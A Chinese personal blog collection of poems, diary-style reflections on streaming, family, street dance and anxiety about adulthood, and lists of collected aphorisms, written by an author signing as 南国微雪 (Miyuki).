　　　　也触碰着天顶。



　　南国微雪

　　2019 年 1 月 12 日

继续

　　不用担心天会逃跑，

　　一直有人在注视你。

　　早晨，

　　每根刺尖都挂着露珠。

　　不会有黑夜，

　　黄昏过后便是黎明。



　　南国微雪

　　2018 年 12 月 8 日

忆忆思

　　我的石头会发光，

　　撑起另一个世界的太阳。

　　像这边照耀我那般，

　　驱散黑暗。


　　纸张变成胶卷，

　　坍缩着昨天。

　　石头之光反抗，

　　重现旧时光。


　　两张课桌，两个人，

　　一段欢声笑语。

　　身影闪入脑海，

　　悄无声息侵略。

　　占据独处时光。


　　白驹奋力奔驰，

　　不顾。

　　镜中人嘴角弧度，

　　显露。


　　自己身处何方？


　　暖金色的教师，

　　青蔓满墙。

　　石头砌的课桌，

　　发着光，

　　吸引人前往。


　　我的石头会发光，

　　光芒取自之上。

　　胶卷铺成纸张，

　　文字拼成

　　让人爱惜的脸庞，

　　令人心疼的模样。


　　石头不再发光，

　　我已不再迷茫。


　　石头融入心脏，

　　它随血液流淌。

　　过往藏在血里，

　　那是两个人的回忆，

　　　　一个人的宝藏。


　　石头永恒地发着光，

　　变成我的太阳，

　　挂在心上。



　　南国微雪

　　2018 年 9 月 14 日

Hide and Seek

　　Hide, hide, hidden.

　　Where did you go?(1)

　　Too long,too dark,a deep.(2)

　　A piece of sunshine

　　cought my chest.

　　Like a smiled and unduly colorful flower,

　　who is in my body?(3)

　　frightened.


　　Seek,seek,seeking.

　　When will you say no?

　　So warm,so excellent,a hope.

　　Don't wanna let you cry,

　　all kinds of laws can be accepted.

　　Like a strong and weak ruler,

　　why makes me moody?

　　tear-smiled.(4)


　　Rem(5)appears suddenly,

　　She smiles smoothly.

　　Your shadow in her face can be seen clearly.


　　Where did you go?(6)



　　Tiny Snow

　　April 30th, 2018


　　注释：

  • (1)：英文歌曲《Where did You Go》-fort minor 首句歌词。为使前后呼应及一二节对应诗句押韵采用。

  • (2)：形容词具体化，不为语法错误（自认为）。但此处具体化不仅只是“一个深的东西或者事情”的简单表意，有其深层含义。

  • (3)：日本动漫《东京喰种》第一季片头曲《unravel》首句歌词的作者自译句子。为使思想情感更深刻采用。可结合歌曲的思想感情体会此处的感情。

  • (4)：自造词，意为：含着泪的微笑。

  • (5)：日本动漫《Re：从零开始的异世界生活》女配角雷姆官方英译。雷姆因其小时候内疚所导致的心理阴影自认为自己的时间停止了流动。直到男主角菜月昴将她拯救，重新拨动她的时间。此后雷姆一直视菜月昴为她的救赎，报答感恩之情。也因此成为菜月昴一度陷入崩溃之境的心灵支柱。

  • (6)：同(1)。为使表意双关，此处也更倾向于歌曲第二句歌词的委婉说法。

徨

　　跑道无限延伸，

　　两旁荆棘安然歇息。

　　上面有花，

　　看不见终点。


　　沉重的步履，

　　每挪一步都会添上荆棘的痕迹

　　每拖一步都会惹上花香。


　　渐渐 起雾，

　　背影一点点坍缩，

　　坍缩成一个点消逝。

　　雾沙子一般挤入眼中，

　　进而成水，濡湿眼眶。


　　背影，重点，亘起的红线……

　　又连接着哪两人？

　　不知道，很迷茫。

　　但不会是那背影。


　　伸进口袋，

　　一块表，几根刺和从未停止的鸟。

　　不屑地笑笑，

　　忽而意识到什么。

　　风景开始发疯一般往后蹿。


　　浓缩的点开始晕散，

　　模糊的抽象艺术。

　　雾散了。


　　一个长发背影出现，

　　正奔向终点

　　路——很远。

　　她是底线。

　　每一步，都会催生出新的荆棘和花，

　　前面一片荒芜，

　　后面危险的美丽。


　　安心 微笑起来。

　　风景停下庆贺。

　　霎时，

　　雾起。



　　南国微雪

　　初创于 2017 年 11 月 24 日

　　修改于 2017 年 12 月 3 日

新光

　　夜晚

　　天上的小洞，

　　透进天外的明亮。

　　其名为新光，

　　昭示着桃花开放。


　　新光初来乍到，

　　住进梦的边境，

　　在精神中闪烁，

　　引燃心中火苗。


　　散落在欢声笑语中，

　　端详着人们

　　微笑的模样。

　　也躲在角落，

　　给予苦难的人们

　　泥土、露珠和阳光。

　　嘴角微微一翘。


　　夜空中的窟窿诞生了新光，

　　人们心中的

　　却一无所有。

　　她死盯着，冥思苦想……

　　握紧拳头，

　　铸进梦的边境，

　　在自我中闪耀，

　　引爆心中火苗。


　　夜晚即将过去，

　　新光即将消亡。

　　她端详着每个人

　　自心底洋溢出的微笑，

　　嘴角微微一翘。


　　使命已经完成，

　　晨光姗姗来到。

　　不带任何挂念，

　　因为她知道

　　他是下任新光。



　　南国微雪

　　构思于 2017 年 7 月 13 日

　　作结于 2017 年 7 月 17 日

时光与你

　　时光如流沙从指尖滑落，

　　望着属于你的字迹，

　　恍惚来到年前。


　　那些天

　　你用令人莞尔的话语，

　　叩开我倾诉的大门。

　　那些年

　　令人失望的侦察机，

　　尽情吐诉的好友，

　　行为傻傻的开心果。

　　这些

　　只属于你。


　　又

　　看到你，

　　遇见物理题的崩溃。

　　看到你，

　　望着心里人无奈的叹息。


　　记得

　　只因片刻的与她相见，

　　一下午开心的你。

　　脸上的笑容——

　　太阳高攀不起。

　　记得

　　试卷发下后，

　　毫不在意的你。

　　挖到原因，

　　只一句“有什么关系”

　　那种豪爽，

　　那种霸气，

　　我一生临摹不起。


　　如今，

　　时光带走了你，

　　但带不走我脑中

　　有你的回忆。

　　纵然你，

　　只是我生命的过客，

　　一段美丽的风景。

　　但谢谢你，

　　陪我走过有你的

　　那些天、那些年。


　　倘若我能把时光

　　从大海中捞出，

　　还想再与你，

　　一起感慨唏嘘，

　　那如流沙的时光。


　　——致同桌：蒲鹏旭



　　南国微雪

　　2016 年 2 月 2 日

感触

所有深夜，或所触所念诞生的想法，收录于此。

感触之六

　　那些因为绝症宣告死亡而全世界旅游的人。那些一直积攒着所有，把想做的事情都延后而不停期待明天的人。

　　两类人，到底谁即将死去？


　　南国微雪 Miyuki

　　2022 年 2 月 15 日

感触之五

　　每听过一句有感触的话，都想要创作一个完整的故事去表达它。

　　任何道理，没有故事支撑，都没有厚度。

　　有些时候，创作欲望强烈到不能抑制，才会从一种形式流露出来。

　　平时感触不深，但又不是没有的那种，就颇为可惜。

　　若是我有一番囊括世界的想象力，和让人惊叹的执行效率该有多么完美。

　　大约就不会有这么多遗憾了。


　　南国微雪 Miyuki

　　2022 年 2 月 7 日

感触之四

　　所有人都是夜空中的星星。

　　有些星星绚烂迷人，因他们亮如白昼，还因，你与他们距离仅咫尺之遥。

　　有些星星，因过于遥远，而黯淡如尘。但他们仍立于未知世界，静静发光。


　　所有人都不理解。

　　不要害怕。

　　你也是漫漫长夜里，天上的一抹美丽。

　　一定会有人观测到你。

　　请坚信。


　　南国微雪

　　2022 年 1 月 8 日

感触之三

　　今天是七夕。

　　因为起得早，所以去跑步了。在家瘫了一个多月，体质下降了不少。

　　伏在栏杆上，感受自己狂跳的心脏，听着桥下流水的喧闹。

　　桥下是一个小的落差，有石头。水流顺势而下，撞见石头湍回流转，碎成微粒的水汽顺着风浮上来，给人带来一阵湿润的青草气息。

　　听着河的喧闹，不知怎的，心却静了下来。

　　喧街闹市，终会散去。夜深人静悄然，河水依旧声响，不为谁而静。

　　蓦地想到了时间。

　　点击继续，往回跑。时间不早了。

　　身着球服，红色，看起来很奇怪，许多路人都投来视线。不知道他们是怎样想的，也无从知道，我只是默默地跑着，静静地注视着前方。

　　途中看见一位老人，佝偻腰背，竹子编制的大背篓里是一山的玉米。不走公路，走的是河堤。最近几月才修好的。河堤很窄，只留一人宽。

　　回头望了一下，河堤弯弯曲曲，不知什么时候才能走完。

　　一步，一步，都很缓慢。

　　我看了她一眼，而后再没回头。


　　打算后两天找同学玩，于是问情况。骆说在老家。核心计划不得不推迟。问灵。开学时间比我后。然而不可避免聊到今日。

　　“那就快去找一个。”

　　“找不到啊，要不你给我介绍一个吧。”

　　“好哇，之后给你留意哈哈。”

　　我懵了。

　　我完全没想过的答复。

　　我不知道她是认真的还是开玩笑。每次这种时候，判断系统就一片混乱。我到现在仍不知道。

　　希望在开学之前能见到骆。


　　家里不常开灯，我并没有注意到。兄长说，父亲脸上有块疤，新添的。问母亲怎么回事。

　　母亲笑了笑说：“从房上摔下来，就成这样了。”

　　听得人后背一凉。

　　自己内心非常平静。

　　我知道自己一旦出现这种心境意味着什么。

　　日记写完，父亲刚好洗完澡出来，拿着医用酒精，站在我房间的全身镜前。

　　放好日记本，打开手电给他照明。

　　纸巾打湿。

　　接触伤口。

　　额头上，脉动瓶盖大小。有红有白有紫有皮。

　　眉头紧锁，双目紧闭，倒吸凉气，止不住声音。

　　我当然知道拿酒精消毒是什么感觉。

　　不知道该去还是留。去，留给他一个人的空间，免去在我面前维持父亲的必要尊严。留，或许需要帮助。

　　最终去给他拿了两张纸。

　　「下次买瓶碘伏吧，酒精疼起来要人命。」

　　「家里有碘伏。」

　　「那为啥不用碘伏？」

　　「在脸上。碘伏涂完肉会乌。」

　　「……」

　　“用酒精消毒还是要点忍耐力啊。”父亲笑着对我说。

　　“……是啊。”

　　说实话我不知道怎么反应为好。

　　回了房间。


　　记得我日记本上，今天的最后那句话：“我到底要成长到哪种地步才能阻止这种事情发生。”

　　我当然知道摔下房这种事情，我能不能阻止。

　　生活，大概就是这样吧。

　　甩甩头，还是要走下去啊。

　　权当做这是今天的另一版可供阅读的日记吧。


　　南国微雪

　　2021 年 8 月 15 日

感触之二

　　一直觉得有时被压得喘不过气，想烧掉所有日记。

　　四个本子里面记录了太多的心酸与汗水、期待与失望。

　　一个人的历史可以被具象化。可以很厚重。

　　我不知道它算不算是一种枷锁，拖着走路在地上划出痕迹。我只知道我付出了很多的时间。

　　没成想自己也有被无机物 pua 的一天。

　　执念。

　　词不达意，确乎是一件很痛苦的事。


　　南国微雪

　　2021 年 6 月 30 日

感触之一

　　说些抽象主义的东西。想说很久了。

　　我们所有人终其一生，似乎都在追求一种小概率事件。这事件，于己而言，概率极小但又倾天搅地。一句痛击灵魂的话、一个难以释怀的人、一件不忍遗弃的旧物，等等。

　　看起来，除此之外其他一切都没有意义。

　　前两天，跟一个同是跳舞的朋友，等他的咖啡做好。他忽然跟我说：“我觉得你跳舞比我好得多。”

　　我错愕。

　　我一直认为，是他比我好得多才对。短短一年，就有现在的水平。

　　后面与他争论起来，他说：“我觉得你能自学到现在这个样子，真的很厉害。就算有些动作看起来不标准，但是也能看出来是有时间沉淀的。”

　　沉淀，真是一个非常好的词。

　　每一天的琐碎，随时间静下来，积成厚厚的实力，伏在身体里。等哪天摇一摇，迸出漫天的绚烂与惊叹。

　　时至今日，我不得不相信了。

　　会有一些罕见珍奇的境遇，如极光一样驻进心里。然更多是一天天的琐碎，负责渐渐把自己锤炼成人的模样。

　　每当我在平凡的日子中坚持不下去了，我都会这样想。

　　这是逃不了的路，有没有意义，自己和时间来定。


　　南国微雪

　　2021 年 6 月 25 日

遇见 今天

　　昨天晚上直播，很开心。

　　很久没有这么热闹过了，三三两两地在一起打字聊天，我边玩游戏边和他们有一搭没一搭地聊着。这样的场景上一次是多久之前了？记不清了。只是觉得很温馨。很温暖。这样就足够了。我这么想，或许是因为我已经寂寞太久了吧。

　　本来我以为这样就足够享受了，但后来我那两个老粉向新人解释的时候，我竟一时间说不出话。

　　我有两个认识很久的粉丝了，一个名晴天呐，一个唤灰灰噢，都是女孩子。

　　有近段时间才认识我的小伙伴想进我的粉丝群里，可能是因为方便吧，能看我什么时候播。

　　“他开播不是很定时。”

　　“如果播的话，他会在群里面说。”

　　这两人一唱一和，像是两个耐心又细致的大姐姐一样，为每个新人提供关于我的信息。像是……正在为孩子解答的家教大姐姐一样？加之之前他们聊天营造出来的那种像是家人在一起玩玩闹闹一样的气氛，我真的一时间说不出话来。

　　我想，这两句话之后潜藏了多少她们对于我的经历，我的性格，我的习惯等等一切的认识啊。希望这样理解不是因为我的傲慢吧。

　　后来啊，渐渐地聊到了年龄（各种意义上的）。开始说谁谁谁大谁多少岁。我说其中一个新伙伴是新来的，他似乎有点不服气，然后列举了我的直播历史，说我当时播的是虚无世界什么的，想要证明。

　　我笑了笑说：“是的，没错，可是比起她们两人来，你确实算是新来的了。”但此时我并不知道，接下来我会遇见一句怎样威力巨大的发言。

　　她们两人听到这句话后，可能也在屏幕后面偷笑吧。

　　然后晴天打出了一行字。

　　“是啊，我记得我第一次看他的直播，他才 16 岁。”

　　我游戏按了暂停键。

　　看到这句话，盯了一两秒钟。

　　然后继续游戏。

　　后面有一小段时间，我只是看着他们聊天，自己没说话，那段时间也在打 BOSS，他们可能有一种我在专心打 BOSS 的错觉吧。

　　我现在 19 岁。

　　真的，看见这句话的一瞬间，什么情感都往外跳——震撼，愧疚，庆幸，无奈，祝愿……我只隐隐约约记得这两人陪了我两年多了，但具体多久，我记不清。我从这句看见了，对于我们的初次相遇，她们记得比我更为清楚。作为一个主播，和在一起经历了这么长时间陪伴的正常人，五味杂陈。

　　是吗？已经快 3 年了啊。已经……这么久了啊。

　　我是非常注重陪伴的。我觉得，人与人之间相互陪伴所遗留下来的那些记忆金子，都是独一无二且无与伦比的。

　　我这时候已经不知道说什么好了，只是默默地与 BOSS 血战。杀掉他之后，我只说了一句：“看来又得写些东西了。”

　　至于屏幕前的自己是什么表情。我不知道。

　　然后今天，才慢慢整理思绪敲下这些文字。

　　我曾看过一个问题：“异性之间真的有纯洁的友谊吗？”有一个回答让我印象深刻：“友不友谊我不知道，但是关系好的，能上升到家人。”

　　我觉得，

　　其实我早该意识到的。


　　我很庆幸，能拥有你们。


　　南国微雪

　　2020 年 3 月 19 日

无题

　　我不知道从哪里听说过的一句话：“这是一个贩卖焦虑的时代。”

　　之前不以为然，但现在却深以为信。

　　高中和大学真的是一个分水岭呢。

　　以前虽然天天心态炸裂，但是仍然在朝着一个既定且明晰的目标努力着。完全不同于现在。现在目标很明晰，但是动力却没有了以前那般。

　　自己是否正在滑向深渊？

　　每当只有我静静地敲下这些文字才能真正进入反思模式。文字总是能给我带来冷静。真是奇妙。但返回现实又会浮躁起来。已经不知道如何是好了。

　　我不太想倾注负能量，目前也正在慢慢地改变，并且已经有了些许的效果。

　　从第一个日记本的全篇负能量，到现在第四个日记本的每天都会给自己一点鼓励，鬼知道我经历了什么？

　　是什么时候开始有了些改变的呢？早已记不清了。但是很高兴自己能有了这么好的转变。

　　但是对于自己的认识不能只是用变好的那一面来自欺欺人啊。有些事情，总得自己撕开自己的伤疤，忍着痛，咬着牙，把疼得要死的药物涂到里面才会有转机的啊。

　　有的人总说我很温柔。

　　大抵是之前从来没有人这样夸赞我来着，很高兴，于是把这当成自己的人设，每天给自己洗脑，到了今天。

　　其实我没有那么温柔啊。

　　我只是不敢撕开自己伤口，才扯了这么一个词作为保护衣，免得自己受伤罢了。

　　但我现在又觉得上边我对于自己的认知，或许，只是自己欺负自己的结果？其实自己并没有那么不堪？

　　完全搞不清楚啊。

　　说到底，不还是自己不认识自己吗。

　　是时候该想想，怎么改变自己的缺陷了。只是认识到了，但没有任何动作的话，不就是积极废人一个吗？

　　仔细想想，自己看过那么多的案例，他们是怎样一步步让自己变得光芒万丈起来的？

　　找到强烈的欲望和源动力？

　　变得自律起来？

　　或许都有，或许有的我还没有想到。

　　感觉能找到一个方法了。

　　总之，先让自己忙起来就差不多了吧。自己有那么多的东西想要学，忙起来也就不会胡思乱想了。

　　自己在奔波的途中肯定也会变得好起来的吧？

　　暂且，就让我抱着这样星星点点的希望，走下去吧。

　　微雪，要加油啊。


　　南国微雪

　　2020 年 2 月 5 日

零言碎语

　　在这除夕夜里，一个人静静地躺在床上。想着自己在去年的种种经历与体验，心绪不由地复杂起来。

　　2019 对我来讲是颇为重要的一年呢。

　　高考后进入大学，京都动画大火，E 站险些关闭，第一次出县城，等等无数经历，全在这个年份了。

　　回想起自己在这重要的年份里又做了些什么，仅模模糊糊地留了些酸楚的残影。是该叫酸楚吗？我不知道。我无法准确地概括它。

　　只记得在那星星点点的回忆中，有着许许多多心疼与无奈。

　　上半年全心全意地准备一件事情。想是这样的体验今后再不会有第二次了吧。然而不知道是自己天分如此，还是方法不宜，最终只落得一个平庸的归宿。

　　要问我后悔吗？我想不会。因为这番努力是有一个好的终了的，再来一次，不一定会比这好。但要问我满足吗？我想，我是不满足的。因为与我预期相差甚远。

　　那自己高中再多努力一点就可以了吗？

　　坦诚说，我很迷茫。

　　我承认我有时候不那么努力，但其他人的疯狂未必适合我，因为那样的话我大概会疯掉的吧。

　　这算是为自己开脱找借口吗？

　　不清楚。一切都在混沌之中，这个答案，或许我永远也找不到了吧。

　　所以对于大学这件事，我又在悔恨些什么？又在执拗些什么？又在拼尽全力些什么？

　　感觉一切都变得奇怪起来。

　　或许是我这胡思乱想惹的祸吧。自己内心的敏感，有时候真的让我很困扰啊。一般是女孩子才这样的吧？有些苦恼呢。

　　但真要让我变成女孩的话，又不愿意，因为感觉上来讲，后半生女孩会付出得更多一些呢，所以会遇见什么样的男孩就变得尤为重要。这也让我坚定了温柔对人的决心，这一点的话，我又不得不感谢呢。

　　好困扰。

　　真的好想像动漫里男主人公那样啊，像桐人啊，威廉啊那样的，既能温柔又能强硬。可以为自己所爱的、所奉献的拼尽全力去守护。

　　我大概是二次元毒深了头吧。（笑

　　不过这大抵确乎是我从他们身上学到的，最为重要的东西了。那种即使生活中有重重的磨难，但仍然微笑着走下去的谦和训念。

　　好像话题有点大过头了……

　　嘛，总之，2019 里面有后悔，有不尽人意，但也有开心和眉头舒展。然而我觉得，连带着不开心的那些，这一切都是无可替代的，珍贵的回忆，没有必要再去重来一次。也不可能再去重来一次。

　　就让我们把这些回忆打包，整理好，将它拎到一条名为时间的履带上，摇着手微笑着向它告别吧。祝它在过去里一切安好。

　　然后，我们是时候该转身，拥抱下一场 2020 的回忆了。


　　南国微雪

　　2020 年 1 月 25 日

句子

所有断不成章，或有意思的句子，收录于此。

日记扉页

第一本

  1. 人是不能太闲的，要不闲久了，努力一下就以为自己在拼命了。
  2. 我来到这世上，就没打算活着回去。既然如此，为什么要活得跟别人一样呢？

  3. 说过的话，总不要忘记。

    做不到就不要轻易承诺，真正爱你的人，不在乎你给他什么东西，却在乎你兑现诺言这个行为。

    爱一个人，就不要让她对你的盼望落空，多次的等待看不到结果，会让他以为在你的心里已经没有了位置。许人一物，千金不移。

    所盼望的迟延未得，令人心忧，所愿意的临到，却是生命树。

  4. 你对时间开玩笑，他却对你很认真。
  5. 我依旧会怀念，那个淡绿素衣，我曾喜欢过的女孩。
  6. 男孩最痛苦的事莫过于在自己最无能为力的时候遇见了想倾其一生守护的女孩。
  7. 努力啊！你不是不可以，为了和她去同一所大学。加油啊！
  8. 你现在必须重新正视“你所害怕的，不过是满纸的文字游戏而已”这句你自己的话。
  9. 为什么那些伟人能成功？因为他们不找任何借口。
  10. 如果你不从心底相信自己，又谈什么给她幸福？

  11. 你要做一个不动声色的大人了；不准情绪化，不准偷偷想念，不准回头看。——村上春树

  12. 我讨厌你，只因我喜欢你。

  13. 喜欢人的第一反应是自卑。——《花火》

  14. 安心的幸福莫过于三件事：有人信你， 有人陪你，有人等你。——《爱格》

  15. （毒鸡汤）如果你同时爱上了两个人，请选择第二个，因为如果你真的爱第一个，就不会爱上第二个。
  16. （毒鸡汤）当你嫌弃身边的女人不够漂亮也不够温柔的时候，你有没有想过，有多少男人想要得到她？
  17. 独处的确是一种检验，用它可以测出一个人灵魂的深度，测出一个人对自己真正的感受，他是否讨厌自己。对于每一个人来说，不讨厌自己是一个起码的要求。一个连自己也不爱的人，我敢断定他对于别人也是不会有多少价值的，他不可能有高质量的社会交往。他跑到别人那里去，对于别人只是一种打扰，一种侵犯。

  18. 【无源怅】风起，日落奈何冬难过。昨夜小雪欺杜若，恰熬一度春秋挪。回首，寂默。楼破， 人堕。泪泄巾欠多。何来愁伤使人惑，半盏残绿与谁说。罢了，意薄。（乙川）

  19. 意林：无论你遇见谁，他都是你生命中该出现的人，绝非偶然，他一定会教会你一些什么。无论我走到哪里，那都是我该去的地方，经历一些我该经历的事，遇见我该遇见的人。
  20. 意林：我从未拥有过你一秒钟，心里却失去过你千万次。
  21. 意林：我去翻他的过往，并不是嫉妒，我只是难过，有种深情，从未给过我。
  22. 意林：99% 以上吵架的原因都是“我以为你会懂”。不是心走得不够近，只是少了一次询问，一个解释，一点耐心。
  23. 意林：我们总以为人生有无数可能，怕这个，怕那个，到最后也就剩了一个可能而已。

  24. 意林：孤单，是因为你心里没有人；寂寞，是因为你心里有人却不在身边。——木心

  25. 于小发：

    如果你是新手，听听老司机的吧。

    相对于其它， 拿出几个月时间学一下速写是非常有用的，我指的是传统的正规的速写练习。很多人画漫画会从临摹漫画或者插图开始，并且认为传统的人体会有点粗短，审美上不接受。其实这个就像练字一样，写好田字格才能开始做变形。

    练好速写，一方面你会发现漫画里需要很多动作，创作难度会降低不少，另一方面，如果你有一个很好的脚本，实际创作中到了分镜头和斟酌如何讲故事的阶段，能快速地画出想要的动作，大大减少你把脚本落实到画面时的压力，这样你就有更多的精力来处理讲故事的部分。

    注意！这个过程中只追求速度和量，不要顾及“我是要画漫画和插图的，我觉得线条不好看”这类问题，单纯练习人体和动势，成效最佳哦！

第二本

  1. 有人说，今天你用时间占有很多东西，明天这些东西会占有你很多时间。
  2. 把自己的优点当做理所当然，但又把自己的缺点无限放大的你——又想生活得多好？
  3. 学习就是做生意。
  4. 羡慕动漫里男主角的爱情，向往二次元世界的真挚、美好，你又如何想过他们所要经历的困难、苦痛、绝望甚至死亡？
  5. 你喜欢的，到底是人，还是执念？
  6. 有人说，珍惜时间的人做梦都在思考问题，浪费时间的人白天也当成晚上来消遣。

  7. 那些杀不死我的事情，都会让我变得更加坚强。——尼采

  8. 如果是真的，我希望是假的；如果是假的，我希望是真的。——网易云评论

  9. 当你不需要努力证明些什么，当你不需要向谁费力解释些什么，当你无法被他人草率地定义，请你用实力活出精彩，给世界耳光或彩虹。
  10. 希望你从倾盆大雨走到艳阳满地，路过泥泞，路过风，一路走来有人能懂得你的认真，欣赏你的热忱，保护你的单纯，看穿你并拥抱你。
  11. 当所有人都沉迷于预知未来，人生注定走向崩盘。
  12. 第十名现象。
  13. 这个世界上其实不存在选择题，只有问答题。这个问题就是，你想成为什么人。只要你给出自己的答案，无论走上哪一条路，你最终还是会变成这个人。
  14. 你要播种什么，这是该考虑的事。而不是总想着该收获什么。因为你种下的，必是你该收获的。

  15. 在人生的路上，将血一滴一滴地滴过去，以饲别人。虽自觉渐渐瘦弱，也以为快活。——鲁迅

  16. 记住该记住的，忘记该忘记的，改变能改变的，接受不能改变的。因为有些事情是我们无法控制的，只能控制自己。正如你出生的时候，你哭着，周围的人笑着；你逝去的时候，你笑着，而周围的人哭着。一切都是轮回，我们都在轮回之中。
  17. 其实，平平淡淡的爱情就是你在她身边，她很幸福，你出门去，她也不闹着不让你去或非跟你去。平平淡淡的爱情就是两个人各自保留一片自己的天空，谁也别左右谁的方向。平平淡淡的愛情就是情意两心知，而不把爱挂在嘴边。平平淡淡的爱情就是静静地凝视。
  18. 仁者乐山山如画，智乐水水无涯，从从容容一杯酒，平平淡淡一杯茶。
  19. 你越是费劲心思地去取悦一个人，那个人就越有可能让你痛彻心扉。终有一天你会明白，人和人之间想要保持长久舒适的关系，靠的是共性和吸引，而不是压迫、捆绑、奉承和一味的付出以及道德式的自我感动。

  20. 一个字一个字地救出自己。——木心《文学回忆录》

  21. 有一种思念，即便使尽全身的力气，即便站在最忠诚的回音壁前，却依然无法呼喊出一个人的名字。
  22. 你总是在向前走，记忆在原地驻足停留，你回头招手时，它轻轻微笑，却永远不会，再靠近你了。
  23. 电子游戏之所以对无所事事的人那么有吸引力，是因为不像你的人生，电子游戏里的你，始终有着明确的人生使命。
  24. 有时候你不努力一下，你都不知道什么叫绝望。

  25. 一个网友说：

    平淡的爱情是：首先，彼此互相关心、理解，哪怕只是微不足道的小事；

    恋爱和结婚是两码事，不能拿婚前的他与婚后的他作比较！

    我和老公的爱情，我自认为很平淡也很幸福。

    我累了，他会主动去做饭；冬天下班回家，脚很凉，他会双手抱着我的脚丫给我搓热，再给我一盆热水泡脚；我要吃什么，只要说了，他就会记下，下班回来给我买；我单位上遇到不顺心的时候，回家发脾气时，他也不会和我计较，过后静下来，再问我怎么了，帮我分析，开导我，安慰我。因为他知道我不是胡搅蛮缠不讲理人。

    其次，责任。男人应该赋予一种很强的责任心，对家，对爱人，对孩子都应有一份责任，他能爱家人，爱我，爱孩子，爱彼此的父母。

    再次，在受到挫折和打击时，他轻轻地一句：“怎么了，别想太多了。过去的就过去吧！还有我！天塌下来还有老公我给你顶着！别怕，等着，我给你做饭去，想吃什么？”

    另外，两个人健健康康的，孩子健康快乐，这就是最大的快乐！最后，和和睦睦，不要一天总为点鸡毛蒜皮的小事争论不休。

    简简单单，平平安安，父母健康，孩子快乐，老公顾家。这些对于女人来讲就是最平淡、最幸福的事了。

第三本

  1. 不要去想对错，不要去想怎么做才是最正确的。自己不会后悔的决定，就是正确的决定。
  2. 即便跌落地狱，我仍有再爬回天堂的能力。
  3. 如果在正确和善良之间必选其一，请选择善良！

  4. 我不喜欢讲苦，我也希望你们，在还没有成功的时候，在你还在努力的时候，不要告诉人家你有多苦；当你成功的时候也不需要你自己来说，他们会知道。——萧敬腾

  5. 最强悍的竞争力只有两个字：行动！

  6. 我从你们身上学到了一些东西，我也想变得跟你们一样，请你们，这次就好好地看着我的背影吧！——春野樱

  7. 天空一无所有，为何给我安慰。 ——海子《黑夜的献诗》

  8. 百毒不侵的内心，往往会被一句简单的安慰打败，刀枪不入的伪装，常常在懂你的人面前彻底投降。
  9. 真正做事的人，不在情绪上计较，只在做事上认真；只说不做的人，不在做事上认真，只在情绪上计较。

  10. 一两重的真诚，其值等于一吨重的聪明。——德国谚语

  11. 永远不要苛求别人说的话都是你希望听到的。

    世界没有那么美，人心也没有那么纯粹。不是每一阵风，都会顺着你的心思吹来，无论你有多么好，无论你在多高的位置上。

    有多宽广的世界，就有多复杂的人心。有多复杂的人心，就有多叵测的想法。不要纠缠在别人的情绪中，更不要拿别人来折磨自己。

    每个人的世界，都是自己给的。你若看透了，其实，天地一片澄澈。

    大凡人世痛苦，多因放不下。

    其实，痛的人也知道，但还是放不下。只因不想放，只因不能放，只因放不了。

    当然了，不管多大的痛，终究还是要过去的。 也不外乎两种情况，一是所执之事有了转机，一是时间让一颗执于欲望的心有了转向。

    我常想，痛苦，该是时光刮给生命的一场飓风吧。生活，就是以这样一种特别的方式，掀起遮盖的一切，让你看到人生的真相。

随记断句

　　可能人生来就是这样的吧。

　　起初满腔热血，满载孤勇，胸怀鸿鹄之志而一身棱角。

　　旅途渐长，力不从心，忍痛割爱，慢慢卸下自己开始所有的执拗。

　　蹒跚到终点，发现自己背上几近空无一物，回望自己路上散七落八的骄傲，坐在地上失声痛哭。

　　过来人劝不了。新来的也不会懂。

　　一代一代，前仆后继地成为普通人。


　　《伪装》

　　我们所以为的陪伴，其实都是伪装后的喜欢。


　　“如果没办法缓解对未来的焦虑，那就先做好眼前的事情吧。大雾的清晨是无法看清远方的，但至少脚下的每一步是清晰的。总会有大雾散开的时刻，在那之前，你不能囿于原地，一步都不走。”

胡言

所有感性到极致时胡乱写下的文字，收录于此。

候场

　　终于快到人生的第二个阶段了。

　　恐惧。

　　从小便一直恐惧「工作」这件事。不知缘何起，但一直存在。

　　最害怕、紧张、焦虑、胆怯、自卑和失控的时候，不是在台上，而是在候场。

　　现在，候场。

　　过去两年，投掷了海量的热爱和努力，现在全部变成「沉没成本」，让「不想毕业」这个念头膨胀如受激的河豚。

　　害怕工作。

　　不想毕业。

　　不想长大。

　　不想成熟。

　　学生多好。

　　孩子多好。

　　纯粹又天真。

　　害怕自己变了样。

　　好想逃跑。

　　如果能一直不长大就好了。

　　不想进入社会。

　　不想利益博弈。

　　我大约不是一个合格的大人吧。


　　南国微雪 Miyuki

　　2023 年 6 月 3 日

胡言乱语之四

　　「进步很明显，」他抱了我一下，然后笑着摇了摇头，「我有点对你刮目相看了。」

　　我总共去过两次酒吧。两次都是去跳舞。今夜是第二次。

　　上次走时，他对我说：「希望下次看到你时能能有进步。」


　　今晚听到他那句话，我很想哭。


　　我喜欢街舞。

　　很喜欢很喜欢。

　　但日复一日，舍了大量时间去练习，我却不知道自己有没有进步。

　　我对舞蹈的爱，超越了我对自己的怀疑。

　　我是那种自信需要源于他人肯定的人。

　　我很想哭。


　　我会一直走下去的。

　　一定。

　　Dance is my life.


　　南国微雪

　　2021 年 12 月 18 日

胡言乱语之三

　　一直都觉得自己是个极度贪婪的人，以至于理智经常与自己的生物性作对。认知与行为产生割裂。

　　许多醒世名言与实践过的标准悬在天上指引着自己前进，但不肯。或者说，更像是不愿意。

　　很多时候是无力的。记得前阵子看的散装心理学讲，人时常在抑郁位和偏激位之间来回摆动，似乎自己频率更高一点罢，惹得自己心里发烦。

　　我是在期待着别人的救赎，但真正到的时候又会不敢确认而用力推开。

　　我知道自己不会是个完美的人，却一直想做这样的人，像是个精神分裂症。

　　想给予别人一些善，一些美，还有开心快乐健康和祝福等等等等。

　　做不到。

　　准确地说是做不纯粹。参杂了自己太多邪意的欲念。

　　虽说这样定义有失偏颇，善于恶不应该是更为正义和至上的东西，在价值与合理性的天平上，应是相等的。

　　有光就会有影子。

　　我知道的。

　　我是知道的啊……

　　所以不纯粹啊……

　　一切似乎都从头打转，如衔尾蛇无尽循环：过程与结果，谁更重要？

　　贪婪地讲是缺一不可。

　　我一直在考虑是否应该断了这段关系，日后会随着时间发脓溃烂的。

　　很失礼，毕竟也带来过开心与愉快。

　　而这一切是否建立在我虚妄的蜃楼上，我不得而知。

　　是否应该推开？

　　我不知道。

　　放下，会是什么时候呢。


　　南国微雪

　　2021 年 8 月 18 日

胡言乱语之二

　　我不知道反应会这么大。

　　优先是耀点还是弊病，没人告诉我答案。

　　纵观以来，或许我只适于做一个朋友。也或许根本没朝其他想过。
